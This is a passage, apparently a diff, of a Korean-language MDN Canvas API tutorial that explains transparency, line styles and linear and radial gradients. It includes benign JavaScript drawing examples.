+<p><code>globalAlpha</code>는 모두 같은 투명도로 캔버스에 많은 도형을 그릴 때 유용합니다. 하지만, 보통은 각각의 도형마다 투명도를 설정하는 것이 더 유용할 것입니다.</p>
+
+<p><code>strokeStyle</code>과 <code>fillStyle</code> 값에 CSS rgba 색상값을 적용할 수 있으므로, 투명한 색을 적용하려면 아래와 같은 표기법을 사용할 수 있습니다.</p>
+
+<pre class="brush: js">// 외곽선과 채움 스타일에 투명 적용
+
+ctx.strokeStyle = 'rgba(255, 0, 0, 0.5)';
+ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
+</pre>
+
+<p><code>rgba()</code> 함수는 <code>rgb()</code> 함수와 비슷하지만, 인자가 하나 더 있습니다. 마지막 인자는 투명도 값을 설정하는 인자입니다. 올바른 범위는 0.0(완전히 투명)에서 1.0(완전히 불투명)입니다.</p>
+
+<h3 id="A_globalAlpha_example" name="A_globalAlpha_example"><code>globalAlpha</code> 예제</h3>
+
+<p>이 예제에서, 네 가지 다른 색을 가진 사각형을 배경에 그릴 것입니다. 그 위에, 반투명한 원을 여러 개 그릴 것입니다. <code>globalAlpha</code> 값을 <code>0.2</code>로 설정하면 이후 그려질 도형은 이 값을 사용합니다. <code>for</code> 반복문을 사용하여 점점 큰 반지름의 원을 그립니다. 최종 결과물은 원형 그레이디언트가 됩니다. 원이 겹쳐지면서 점점 불투명해지는 것을 볼 수 있으며, 최종적으로 한 가운데에 있는 원에서는 뒷 배경이 거의 보이지 않게 됩니다.</p>
+
+<pre class="brush: js;highlight[15]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ // 배경을 그린다
+ ctx.fillStyle = '#FD0';
+ ctx.fillRect(0, 0, 75, 75);
+ ctx.fillStyle = '#6C0';
+ ctx.fillRect(75, 0, 75, 75);
+ ctx.fillStyle = '#09F';
+ ctx.fillRect(0, 75, 75, 75);
+ ctx.fillStyle = '#F30';
+ ctx.fillRect(75, 75, 75, 75);
+ ctx.fillStyle = '#FFF';
+
+ // 투명값을 설정한다
+ ctx.globalAlpha = 0.2;
+
+ // 반투명한 원을 그린다
+ for (var i = 0; i &lt; 7; i++){
+ ctx.beginPath();
+ ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+ ctx.fill();
+ }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="An_example_using_rgba()" name="An_example_using_rgba()"><code>rgba()</code>를 사용한 예제</h3>
+
+<p>두번째 예제에서는 위의 예제와 비슷한 일을 하지만, 겹쳐진 원을 그리는 대신, 불투명도가 증가하는 작은 사각형을 그릴 것입니다. 각각의 도형마다 윤곽선이나 채움 스타일을 따로따로 설정할 수 있기 때문에, <code>rgba()</code>를 사용할 때는 조금 더 제어가 쉽고 융통성도 있습니다.</p>
+
+<pre class="brush: js;highlight[16]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 배경을 그린다
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // 반투명한 사각형을 그린다
+  for (var i=0;i&lt;10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j&lt;4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5)
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">선 모양</h2>
+
+<p>선의 스타일을 바꾸는 방법이 몇가지 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}</dt>
+ <dd>이후 그려질 선의 두께를 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}</dt>
+ <dd>선의 끝 모양을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}</dt>
+ <dd>선들이 만나는 "모서리"의 모양을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
+ <dd>두 선이 예각으로 만날 때 접합점의 두께를 제어할 수 있도록, 연결부위의 크기를 제한하는 값을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
+ <dd>음수가 아닌 짝수를 포함하는 현재 선의 대시 패턴 배열을 반환합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
+ <dd>현재 선의 대시 패턴을 설정합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
+ <dd>선의 대시 배열이 어디서 시작될지 지정합니다.</dd>
+</dl>
+
+<p>아래 예제들을 보면 어떻게 동작하는지 이해할 수 있을 것입니다.</p>
+
+<h3 id="A_lineWidth_example" name="A_lineWidth_example"><code>lineWidth</code> 예제</h3>
+
+<p>현재 선의 두께를 설정합니다. 설정값은 반드시 양수이어야 하며, 초기 설정값은 1.0 단위입니다.</p>
+
+<p>선의 두께는 지정된 경로의 가운데에 있는 획의 두께입니다. 이 말의 뜻은, 경로의 좌우로, 설정된 두께 반 만큼의 폭 영역이 그려진다는 것입니다. 캔버스 좌표는 픽셀을 직접 참조하지 않으므로, 선명한 수평 및 수직선을 얻기 위해 특별히 주의를 기울여야 합니다.</p>
+
+<p>아래에 나오는 예제에서는, 선의 두께가 점점 증가하는 10개의 직선이 그려집니다. 가장 왼쪽의 선은 1.0 단위 폭입니다. 그러나, 경로의 위치 때문에 가장 왼쪽과 다른 모든 홀수 폭 두께 선은 선명하게 보이지 않습니다.</p>
+
+<pre class="brush: js;highlight[4]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ for (var i = 0; i &lt; 10; i++){
+ ctx.lineWidth = 1 + i;
+ ctx.beginPath();
+ ctx.moveTo(5 + i * 14, 5);
+ ctx.lineTo(5 + i * 14, 140);
+ ctx.stroke();
+ }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>선명한 선을 얻으려면 경로에 획을 어떻게 그려지는지 이해해야 합니다. 아래의 이미지를 보면, 격자는 캔버스의 좌표 격자를 나타냅니다. 격자선 사이에 있는 사각형은 실제 픽셀과 딱 맞아 떨어집니다. 아래에 있는 첫번째 이미지를 보면, (2,1)에서 (5,5)로 사각형이 채워져 있습니다. 사각형의 전체 영역(연한 붉은 색)은 픽셀 경계선 사이에 딱 맞아 떨어지기 때문에 채워진 사각형은 선명한 가장자리를 갖습니다.</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>만일 (3,1)에서 (3,5)로 그리는 직선의 두께가 1.0이라면, 두번째 이미지와 같은 상황이 됩니다. 채워진 실제 영역 (진한 파란색)은 패스의 양쪽에있는 픽셀의 절반까지만 확장됩니다. 이것은 1 픽셀을 채우는 것이 아니므로 근사값으로 화면에 그려지게 됩니다. 그래서 양옆의 영역(연한 파란색과 짙은 파란 색)으로, 실제 설정한 색과는 다른 흐릿한 색으로 채워지는 것입니다. 이전 예제에서 보듯이 선 두께가 <code>1.0</code>인 선에서 일어난 일입니다.</p>
+
+<p>이렇게 되는 것을 막으려면, 경로를 아주 정밀하게 생성해야 합니다. 선의 두께가 1.0이면 경로의 양쪽으로 0.5 단위만큼이라는 것을 알고 있으니, (3.5,1)에서 (3.5,5)로 그리는 경로를 생성하는 세번째 이미지의 결과는 완벽히 정밀하게 1 픽셀 두께의 수직선이 됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 위에 나온 수직선 그리기 예제를 살펴보면, Y 위치는 정수로 된 격자선 위치를 참조하고 있습니다. 그렇지 않았다면, 끝점에서 픽셀의 반을 차지한 상태로 보였을 것입니다. (초기값이 <code>butt</code>인 <code>lineCap</code> 스타일의 설정값에 따라 다르게 보입니다. 홀수 두께 선들의 좌표를 0.5 픽셀씩 조정하여 다시 계산하고 싶을지도 모릅니다. <code>lineCap</code> 스타일을 <code>square</code>로 설정함으로써, 끝점에서 선의 외곽 경계선은 픽셀에 딱 맞게 자동적으로 확장될 것입니다.)</p>
+
+<p>경로의 시작 지점과 종료 지점의 끝점만이 영향을 받는다는 것에 주목하세요. 만약 <code>closePath()</code>로 경로가 닫힌다면, 시작 지점과 종료 지점은 없는 것입니다. 그 대신, 경로 안에 있는 모든 끝점들은, 초기 설정값이 <code>miter</code>인 <code>lineJoin</code> 스타일의 설정값을 사용하여 이전 부분 및 다음 부분과 이어지는데, 교차되는 점들로 이어진 부분들의 외곽 경계선을 자동적으로 확장하는 효과가 생깁니다. 그렇기 때문에 만약 이들 이어진 부분들이 수직 또는 수평이라면, 그려지는 선들은 각 끝점의 중심에 놓인 픽셀을 가득 채우게 될 것입니다. 이들 선 스타일에 대한 예제는 아래에 나옵니다.</p>
+</div>
+
+<p>짝수 두께의 선들은 반으로 나누어도 각각의 반은 정수의 양만큼이기 때문에 픽셀을 조정할 필요가 없습니다.</p>
+
+<p>비트맵이 아닌 벡터 2D 그래픽으로 작업할 때, 작업을 시작할 때는 약간 힘들겠지만, 격자와 경로의 위치에 주의를 기울인다면, 크기를 키우거나 줄이거나 또는 어떠한 변형을 하더라도 그리려는 이미지는 똑바로 보일 것입니다. 1.0 두께의 수직선은 2배로 크기를 키웠을 때, 정확히 2 픽셀 두께의 선이 되며, 올바른 위치에 나타날 것입니다.</p>
+
+<h3 id="A_lineCap_example" name="A_lineCap_example"><code>lineCap</code> 예제</h3>
+
+<p><code>lineCap</code> 속성은 그리려는 모든 선의 끝점 모양을 결정합니다. <code>butt</code>, <code>round</code>, <code>square</code>라는 세 가지 값을 가지며, 초기 설정값은 <code>butt</code>입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>선의 끝이 좌표에 딱맞게 잘립니다.</dd>
+ <dt><code>round</code></dt>
+ <dd>선의 끝이 동그랗습니다.</dd>
+ <dt><code>square</code></dt>
+ <dd>선 끝에, 선 두께 반만큼의 사각형 영역이 더해집니다.</dd>
+</dl>
+
+<p>이 예제에서는, 각기 다른 <code>lineCap</code> 속성 값을 가진 선 세개가 그려집니다. 또한 각 선들의 차이점을 정확히 보이기 위한 안내선이 추가로 그려집니다. 세개의 선 모두, 이 안내선 위에 시작과 종료 좌표가 있습니다.</p>
+
+<p>맨 왼쪽에 있는 선은 초기 설정값인 <code>butt</code>을 사용합니다. 안내선에 딱 맞게 선이 시작되고 끝이 납니다. 가운데에 있는 선은 <code>round</code>를 사용합니다. 선 두께의 반을 반지름으로 하는 반원이 끝에 붙습니다. 맨 오른쪽에 있는 선은 <code>square</code>를 사용합니다. 선 두께 만큼의 너비와 선 두께 반 만큼의 높이를 가진 네모 상자가 끝에 붙습니다.</p>
+
+<pre class="brush: js;highlight[18]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ var lineCap = ['butt','round','square'];
+
+ // 안내선을 그린다
+ ctx.strokeStyle = '#09f';
+ ctx.beginPath();
+ ctx.moveTo(10, 10);
+ ctx.lineTo(140, 10);
+ ctx.moveTo(10, 140);
+ ctx.lineTo(140, 140);
+ ctx.stroke();
+
+ // 선을 그린다
+ ctx.strokeStyle = 'black';
+ for (var i=0;i&lt;lineCap.length;i++){
+ ctx.lineWidth = 15;
+ ctx.lineCap = lineCap[i];
+ ctx.beginPath();
+ ctx.moveTo(25 + i * 50, 10);
+ ctx.lineTo(25 + i * 50,140);
+ ctx.stroke();
+ }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="A_lineJoin_example" name="A_lineJoin_example"><code>lineJoin</code> 예제</h3>
+
+<p><code>lineJoin</code> 속성은, 도형을 이루는 선이나 호나 곡선들이 연결되는 지점의 모양을 결정합니다. 끝점과 제어점이 정확히 같은 위치인, 길이가 0인 부분들은 제외된다.</p>
+
+<p>이 속성에는 세 가지 값이 있는데, <code>round</code>, <code>bevel</code>, <code>miter</code>이며, 초기 설정값은 <code>miter</code>입니다. 두 부분들이 같은 방향으로 연결되어 있는 경우에는, <code>lineJoin</code>을 설정해도 아무런 효과가 나타나지 않습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>도형의 모서리를, 연결되는 부분들의 공통 끝점을 중심으로 하는 원 모양으로 만듭니다. 이때 원의 반지름은 선의 두께와 같습니다.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>도형의 모서리를, 연결되는 부분들의 공통 끝점에서 세모 모양으로 만듭니다.</dd>
+ <dt><code>miter</code></dt>
+ <dd>도형의 모서리를, 두 부분의 바깥쪽 테두리 선을 각각 연장하여 교차된 점으로 생긴 마름모꼴 모양으로 만듭니다. <code>miterLimit</code> 속성값에 따라 모양이 달라집니다.</dd>
+</dl>
+
+<p>아래 예제에서 세 개의 경로를 그릴 것입니다. 세 경로는 각각 다른 <code>lineJoin</code> 속성값을 가집니다.</p>
+
+<pre class="brush: js;highlight[6]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+ var lineJoin = ['round', 'bevel', 'miter'];
+ ctx.lineWidth = 10;
+ for (var i=0;i&lt;lineJoin.length;i++){
+ ctx.lineJoin = lineJoin[i];
+ ctx.beginPath();
+ ctx.moveTo(-5, 5 + i * 40);
+ ctx.lineTo(35, 45 + i * 40);
+ ctx.lineTo(75, 5 + i * 40);
+ ctx.lineTo(115, 45 + i * 40);
+ ctx.lineTo(155, 5 + i * 40);
+ ctx.stroke();
+ }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="A_demo_of_the_miterLimit_property" name="A_demo_of_the_miterLimit_property"><code>miterLimit</code> 속성 예제</h3>
+
+<p>위의 예제에서 볼 수 있듯이, 속성값을 <code>miter</code>로 하여 두 선이 연결되면, 연결되는 두 선의 바깥쪽 테두리는 연장선이 만나는 지점까지 확장됩니다. 연결된 두 선이 이루는 각도가 크면, 확장되는 영역이 크지 않지만, 각도가 작아짐(끝이 뾰족해짐)에 따라서 이 영역이 기하급수적으로 커질 수도 있습니다.</p>
+
+<p><code>miterLimit</code> 속성은 끝점이 만나는 지점과 테두리 연장선이 만나는 지점이 얼마나 떨어져 있을지를 결정합니다. 두 선이 이 값을 넘게 되면, <code>lineJoin</code> 속성의 <code>bevel</code> 값 모양이 적용됩니다. <code>miterLimit</code> 속성값(HTML {{HTMLElement("canvas")}}에서, 초기 설정값은 10.0)에 의해, 현재 좌표 방식 안에서, 선의 두께에 따라, 어느 정도까지 뾰족해질 수 있는지가 계산됩니다. 그래서 <code>miterLimit</code>은 현재 디스플레이 비율이나 경로의 변형 같은 것으로 각각 설정될 수 있습니다. 그렇게 하여 선의 모서리에만 영향을 줍니다.</p>
+
+<p>더 자세히 얘기하자면, 뾰족함 제한(miter limit)은, 선 두께의 반과 확장되는 길이(HTML 캔버스에서, 선이 연결되는 바깥쪽 끝부분과, 경로에서 연결되는 두 부분의 공통 끝점 사이로 측정합니다.)의 최대 허용 비율입니다. 이것은 두 부분의 외곽선이 만나는 안쪽 점과 바깥쪽 점 사이 거리와, 선 두께의 최대 허용 비율과 같습니다. miter 값 모양이 아닌 bevel 값 모양으로 연결되는 지점의 최소 안쪽 각 반 만큼의 값과 같은 것입니다.</p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li>초기 설정값이 10.0인 뾰족함 제한(miter limit)값은 약 11도보다 낮은 예각인 곳을 bevel 값 모양으로 만듭니다.</li>
+ <li>뾰족함 제한 값이 √2 ≈ 1.4142136(반올림)과 같다면 연결되는 곳이 둔각이거나 직각인 곳을 제외한 모든 곳을 bevel 값 모양으로 만듭니다.</li>
+ <li>뾰족함 제한 값이 1.0과 같다면 모든 곳을 bevel 값 모양으로 만듭니다.</li>
+ <li>뾰족함 제한 값에는 1.0보다 작은 값이 올 수 없습니다.</li>
+</ul>
+
+<p>다음 예제에서는 <code>miterLimit</code> 값을 바꾸고 그 결과가 어떤지 바로 확인할 수 있습니다. 파란색 선은 지그재그 무늬 안에서 선들의 시작 지점과 종료 지점을 나타냅니다.</p>
+
+<p>이 예제에서 <code>miterLimit</code> 값을 4.2보다 낮게 설정하면, 모든 연결 지점은 bevel 값 모양이 되어 파란색 선에 붙을 것입니다. <code>miterLimit</code> 값이 10보다 높다면, 거의 모든 연결 지점들이 파란색 선 바깥쪽에 있을 것입니다. 왼쪽으로 갈수록 파란색 선에서 더 많이 튀어나오는데, 왼쪽으로 갈수록 연결되는 각이 더 작아지기 때문입니다. 값을 5로 설정하면, 반은 bevel 값 모양으로, 반은 miter 값 모양이 됩니다.</p>
+
+<pre class="brush: js;highlight[18]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ // 캔버스를 비운다
+ ctx.clearRect(0,0,150,150);
+
+ // 안내선을 그린다
+ ctx.strokeStyle = '#09f';
+ ctx.lineWidth = 2;
+ ctx.strokeRect(-5,50,160,50);
+
+ // 선 스타일을 설정한다
+ ctx.strokeStyle = '#000';
+ ctx.lineWidth = 10;
+
+ // 입력 값을 검사한다
+ if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+ ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+ } else {
+ alert('Value must be a positive number');
+ }
+
+ // 선을 그린다
+ ctx.beginPath();
+ ctx.moveTo(0,100);
+ for (i=0;i&lt;24;i++){
+ var dy = i%2==0 ? 25 : -25 ;
+ ctx.lineTo(Math.pow(i,1.5)*2,75+dy);
+ }
+ ctx.stroke();
+ return false;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;td&gt;&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;&lt;/td&gt;
+ &lt;td&gt;Change the &lt;code&gt;miterLimit&lt;/code&gt; by entering a new value below and clicking the redraw button.&lt;br&gt;&lt;br&gt;
+ &lt;form onsubmit="return draw();"&gt;
+ &lt;label&gt;Miter limit&lt;/label&gt;
+ &lt;input type="text" size="3" id="miterLimit"/&gt;
+ &lt;input type="submit" value="Redraw"/&gt;
+ &lt;/form&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit;
+draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<p> </p>
+
+<h3 id="대시라인_사용하기">대시라인 사용하기</h3>
+
+<p><code>setLineDash</code> 메소드와 <code>lineDashOffset</code> 속성은 선의 대시 패턴을 지정합니다.  <code>setLineDash</code> 메소드는 거리를 지정하는 숫자 목록을 받아 선과 틈을 교대로 그리며 <code>lineDashOffset</code> 속성은 패턴을 시작할 위치를 오프셋으로 설정합니다.</p>
+
+<p>이 예제에서 우리는 행진하는 개미 효과를 만들고 있습니다. 컴퓨터 그래픽 프로그램의 선택 도구에서 흔히 볼 수있는 애니메이션 기술입니다. 테두리를 애니메이션화하여 사용자가 선택 테두리와 이미지 배경을 구별하는 데 도움이됩니다. 이 튜토리얼의 뒷부분에서 이 작업 및 다른 <a href="/ko/docs/docs/Web/API/Canvas_API/Tutorial/Basic_animations">기본 애니메이션</a>을 수행하는 방법을 배울 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="110" height="110"&gt;&lt;/canvas&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6]">var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+ ctx.clearRect(0, 0, canvas.width, canvas.height);
+ ctx.setLineDash([4, 2]);
+ ctx.lineDashOffset = -offset;
+ ctx.strokeRect(10, 10, 100, 100);
+}
+
+function march() {
+ offset++;
+ if (offset &gt; 16) {
+ offset = 0;
+ }
+ draw();
+ setTimeout(march, 20);
+}
+
+march();</pre>
+
+<p>{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}</p>
+
+<h2 id="Gradients" name="Gradients">그라디언트(Gradient)</h2>
+
+<p>다른 그래픽 프로그램들과 마찬가지로, 선형 및 원형의 그레이디언트를 사용할 수 있습니다. 다음 메소드 중 하나를 사용하여 {{domxref("CanvasGradient")}} 객체를 생성합니다. 그런 다음 이 객체를 <code>fillStyle</code> 또는 <code>strokeStyle</code> 속성에 할당 할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}</dt>
+ <dd>시작점 좌표를 (<code>x1</code>, <code>y1</code>)로 하고, 종료점 좌표를 (<code>x2</code>, <code>y2</code>)로 하는 선형 그라디언트 오브젝트를 생성합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}</dt>
+ <dd>반지름이 <code>r1</code>이고 좌표 (<code>x1</code>, <code>y1</code>)을 중심으로 하는 원과, 반지름이 <code>r2</code>이고 좌표 (<code>x2</code>, <code>y2</code>)를 중심으로 하는 원을 사용하여 그라디언트가 생성됩니다.</dd>
+</dl>
+
+<p>예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+</pre>
+
+<p><code>CanvasGradient</code> 객체를 만들었다면, <code>addColorStop()</code> 메소드를 사용하여, 오브젝트에 색을 적용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}</dt>
+ <dd><code>gradient</code> 오브젝트에 새로운 색 중단점(color stop)을 생성합니다. <code>position</code>은 0.0에서 1.0 사이의 숫자이고 그라디언트에서 색상의 상대적인 위치를 정의합니다. <code>color</code> 인자는 CSS {{cssxref("&lt;color&gt;")}}를 나타내는 문자열이어야하고, 그라디언트가 (전환효과로) 진행되면서 도달한 지점의 색상을 의미합니다.</dd>
+</dl>
+
+<p>색 중단점은 원하는 만큼 마음대로 추가할 수 있습니다. 흰 색에서 검은 색으로 변하는 선형 그레이디언트를 만들려면 아래와 같이 합니다.</p>
+
+<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+</pre>
+
+<h3 id="A_createLinearGradient_example" name="A_createLinearGradient_example"><code>createLinearGradient</code> 예제</h3>
+
+<p>이 예제에서 그레이디언트 두 개를 만들 것입니다. 예제에서 볼 수 있듯이, <code>strokeStyle</code>과 <code>fillStyle</code> 속성 모두 <code>canvasGradient</code> 오브젝트를 속성 값으로 가질 수 있습니다.</p>
+
+<pre class="brush: js;highlight[5,11]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ // 그레이디언트를 생성한다
+ var lingrad = ctx.createLinearGradient(0, 0, 0, 150);
+ lingrad.addColorStop(0, '#00ABEB');
+ lingrad.addColorStop(0.5, '#fff');
+ lingrad.addColorStop(0.5, '#26C000');
+ lingrad.addColorStop(1, '#fff');
+
+ var lingrad2 = ctx.createLinearGradient(0, 50, 0, 95);
+ lingrad2.addColorStop(0.5, '#000');
+ lingrad2.addColorStop(1, 'rgba(0, 0, 0, 0)');
+
+ // 외곽선과 채움 스타일에 그레이디언트를 적용한다
+ ctx.fillStyle = lingrad;
+ ctx.strokeStyle = lingrad2;
+
+ // 도형을 그린다
+ ctx.fillRect(10, 10, 130, 130);
+ ctx.strokeRect(50, 50, 50, 50);
+
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>첫번째 그라디언트는 배경 그라디언트입니다. 보시다시피 같은 위치에 두 가지 색상을 지정했습니다. 매우 선명한 색상 전환을 만들기 위해 이 작업을 수행합니다(이 경우 흰색에서 녹색으로). 일반적으로 색상 중단점을 정의하는 순서는 중요하지 않지만, 이 특별한 경우에는 의미가 있습니다.</p>
+
+<p>두 번째 그래디언트에서는 시작 색상 (위치 0.0)을 지정하지 않았는데, 자동으로 다음 색상 중단점의 색상으로 가정하기 때문에 반드시 필요하지는 않기 때문입니다. 따라서 위치 0.5에 검은색을 지정하면 시작부터 중단점까지 자동으로 검정색 그라이언트를 만듭니다.</p>
+
+<p>{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="A_createRadialGradient_example" name="A_createRadialGradient_example"><code>createRadialGradient</code> 예제</h3>
+
+<p>이 예제에서는 원형 그레이디언트를 4개 만들 것입니다. 포토샵같은 프로그램에서 원형 그레이디언트를 만들 때는 하나의 점을 중심으로 그레이디언트를 만드는데, 캔버스의 원형 그레이디언트에서는 시작과 종료 지점 두군데를 제어할 수 있기 때문에, 기존의 프로그램에서 볼 수 있는 원형 그레이디언트보다는 더 복잡한 효과를 만들어 낼 수 있습니다.</p>
+
+<pre class="brush: js;highlight[5,10,15,20]">function draw() {
+ var ctx = document.getElementById('canvas').getContext('2d');
+
+ // 그라디언트를 생성한다
+ var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+ radgrad.addColorStop(0, '#A7D30C');
+ radgrad.addColorStop(0.9, '#019F62');
+ radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+ var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+ radgrad2.addColorStop(0, '#FF5F98');
+ radgrad2.addColorStop(0.75, '#FF0188');
+ radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+ var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+ radgrad3.addColorStop(0, '#00C9FF');
+ radgrad3.addColorStop(0.8, '#00B5E2');
+ radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+ var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+ radgrad4.addColorStop(0, '#F4F201');
+ radgrad4.addColorStop(0.8, '#E4C700');
+ radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+ // 도형을 그린다
+ ctx.fillStyle = radgrad4;
+ ctx.fillRect(0,0,150,150);
+ ctx.fillStyle = radgrad3;
+ ctx.fillRect(0,0,150,150);
+ ctx.fillStyle = radgrad2;
+ ctx.fillRect(0,0,150,150);
+ ctx.fillStyle = radgrad;
+ ctx.fillRect(0,0,150,150);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>이 예제에서는 원형 그레이디언트에 사용되는 두 원의 중심을 달리하여 입체적인 공처럼 보이게 했습니다. 안쪽 원과 바깥쪽 원은 겹치지 않게 하는 것이 좋습니다. 왜냐하면 예상하기 힘든 이상한 결과가 나타날 수 있기 때문입니다.</p>
+
+<p>그레이디언트의 마지막 색 적용 지점에서는 투명도를 적용하였습니다. 투명도가 적용된 지점에서 이전 지점까지의 색 변화를 보기 좋게 만들려면, 두 지점에 똑같은 색을 적용하면 되는데, 이 예제에서는 색의 값을 다른 방식으로 입력하여 헷갈릴 수도 있습니다. 첫번째 그레이디언트에 사용된 <code>#019F62</code>와 <code>rgba(1,159,98,1)</code>은 같은 색입니다.</p>
+
+<p>{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
